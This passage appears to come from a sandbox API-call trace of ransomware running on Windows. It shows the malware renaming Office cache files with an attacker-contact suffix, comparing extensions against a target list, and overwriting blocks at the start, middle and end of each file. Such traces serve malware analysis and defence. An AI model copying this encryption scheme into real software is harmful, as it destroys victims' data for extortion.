lpNewFilePointer=0x0) returned 1 [0083.801] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.850] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0083.851] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0083.851] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.882] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.882] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0084.141] SetEndOfFile (hFile=0x1e0) returned 1 [0084.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f00060 [0084.141] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0084.142] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0084.144] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0084.145] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0084.155] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0084.155] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0084.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5b0000) returned 1 [0084.159] CloseHandle (hObject=0x1e0) returned 1 [0084.866] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0084.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.866] lstrlenW (lpString=".doc") returned 4 [0084.866] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0084.867] lstrlenW (lpString=".docx") returned 5 [0084.867] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0084.867] lstrlenW (lpString=".pdf") returned 4 [0084.867] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0084.867] lstrlenW (lpString=".xls") returned 4 [0084.867] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0084.867] lstrlenW (lpString=".xlsx") returned 5 [0084.867] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0084.867] lstrlenW (lpString=".ppt") returned 4 [0084.867] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0084.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.867] lstrlenW (lpString=".zip") returned 4 [0084.867] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0084.867] lstrlenW (lpString=".rar") returned 4 [0084.867] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0084.867] lstrlenW (lpString=".bz2") returned 4 [0084.867] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0084.867] lstrlenW (lpString=".7z") returned 3 [0084.867] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0084.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.867] lstrlenW (lpString=".dbf") returned 4 [0084.867] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0084.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.868] lstrlenW (lpString=".1cd") returned 4 [0084.868] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0084.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.868] lstrlenW (lpString=".jpg") returned 4 [0084.868] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0084.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.868] lstrlenW (lpString=".doc") returned 4 [0084.868] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0084.868] lstrlenW (lpString=".docx") returned 5 [0084.868] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0084.868] lstrlenW (lpString=".pdf") returned 4 [0084.868] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0084.868] lstrlenW (lpString=".xls") returned 4 [0084.868] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0084.868] lstrlenW (lpString=".xlsx") returned 5 [0084.868] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0084.868] lstrlenW (lpString=".ppt") returned 4 [0084.868] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0084.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.868] lstrlenW (lpString=".zip") returned 4 [0084.868] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0084.868] lstrlenW (lpString=".rar") returned 4 [0084.869] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0084.869] lstrlenW (lpString=".bz2") returned 4 [0084.869] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0084.869] lstrlenW (lpString=".7z") returned 3 [0084.869] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0084.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.869] lstrlenW (lpString=".dbf") returned 4 [0084.869] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0084.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.869] lstrlenW (lpString=".1cd") returned 4 [0084.869] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0084.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0084.869] lstrlenW (lpString=".jpg") returned 4 [0084.869] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0084.869] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0084.869] lstrlenW (lpString="Proof.cab") returned 9 [0084.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0084.870] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=11482605) returned 1 [0084.870] CloseHandle (hObject=0x1e0) returned 1 [0084.870] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0084.870] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.870] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0085.723] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0085.723] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0085.723] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0085.723] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0085.925] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0085.925] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0085.971] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0085.971] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0085.971] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0086.007] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.008] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0086.330] SetEndOfFile (hFile=0x1e0) returned 1 [0086.330] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f00060 [0086.336] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0086.336] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.337] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0086.337] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.341] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0086.341] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0086.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5b0000) returned 1 [0086.344] CloseHandle (hObject=0x1e0) returned 1 [0092.203] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0092.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.204] lstrlenW (lpString=".doc") returned 4 [0092.204] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0092.204] lstrlenW (lpString=".docx") returned 5 [0092.204] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0092.204] lstrlenW (lpString=".pdf") returned 4 [0092.204] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0092.204] lstrlenW (lpString=".xls") returned 4 [0092.204] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0092.204] lstrlenW (lpString=".xlsx") returned 5 [0092.204] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0092.204] lstrlenW (lpString=".ppt") returned 4 [0092.204] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0092.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.204] lstrlenW (lpString=".zip") returned 4 [0092.204] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0092.204] lstrlenW (lpString=".rar") returned 4 [0092.204] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0092.204] lstrlenW (lpString=".bz2") returned 4 [0092.204] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0092.204] lstrlenW (lpString=".7z") returned 3 [0092.205] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0092.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.205] lstrlenW (lpString=".dbf") returned 4 [0092.205] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0092.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.205] lstrlenW (lpString=".1cd") returned 4 [0092.205] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0092.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.205] lstrlenW (lpString=".jpg") returned 4 [0092.205] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0092.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.205] lstrlenW (lpString=".doc") returned 4 [0092.205] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0092.205] lstrlenW (lpString=".docx") returned 5 [0092.205] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0092.205] lstrlenW (lpString=".pdf") returned 4 [0092.205] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0092.205] lstrlenW (lpString=".xls") returned 4 [0092.205] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0092.205] lstrlenW (lpString=".xlsx") returned 5 [0092.205] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0092.205] lstrlenW (lpString=".ppt") returned 4 [0092.205] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0092.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.206] lstrlenW (lpString=".zip") returned 4 [0092.206] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0092.206] lstrlenW (lpString=".rar") returned 4 [0092.206] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0092.206] lstrlenW (lpString=".bz2") returned 4 [0092.206] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0092.206] lstrlenW (lpString=".7z") returned 3 [0092.206] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0092.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.206] lstrlenW (lpString=".dbf") returned 4 [0092.206] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0092.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.206] lstrlenW (lpString=".1cd") returned 4 [0092.206] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0092.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0092.206] lstrlenW (lpString=".jpg") returned 4 [0092.206] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0092.206] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0092.206] lstrlenW (lpString="InfLR.cab") returned 9 [0092.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0092.207] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=18874884) returned 1 [0092.207] CloseHandle (hObject=0x20c) returned 1 [0092.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0092.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0092.207] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0092.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0092.208] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0092.208] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0092.208] ReadFile (in: hFile=0x20c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0092.214] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0092.214] ReadFile (in: hFile=0x20c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0092.226] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0092.226] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0092.226] ReadFile (in: hFile=0x20c, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0092.418] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.418] WriteFile (in: hFile=0x20c, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0092.564] SetEndOfFile (hFile=0x20c) returned 1 [0092.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3fba0a8 [0092.573] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0092.573] WriteFile (in: hFile=0x20c, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.576] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0092.576] WriteFile (in: hFile=0x20c, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.727] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0092.727] WriteFile (in: hFile=0x20c, lpBuffer=0x3fba0a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fba0a8*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0092.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3fba0a8 | out: hHeap=0x5b0000) returned 1 [0092.733] CloseHandle (hObject=0x20c) returned 1 [0095.314] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0095.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.314] lstrlenW (lpString=".doc") returned 4 [0095.314] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0095.314] lstrlenW (lpString=".docx") returned 5 [0095.314] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0095.314] lstrlenW (lpString=".pdf") returned 4 [0095.314] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0095.314] lstrlenW (lpString=".xls") returned 4 [0095.314] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0095.314] lstrlenW (lpString=".xlsx") returned 5 [0095.314] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0095.314] lstrlenW (lpString=".ppt") returned 4 [0095.314] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0095.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.315] lstrlenW (lpString=".zip") returned 4 [0095.315] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0095.315] lstrlenW (lpString=".rar") returned 4 [0095.315] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0095.315] lstrlenW (lpString=".bz2") returned 4 [0095.315] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0095.315] lstrlenW (lpString=".7z") returned 3 [0095.315] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0095.315] lstrlenW (lpString="C:\\MSOCache\\All 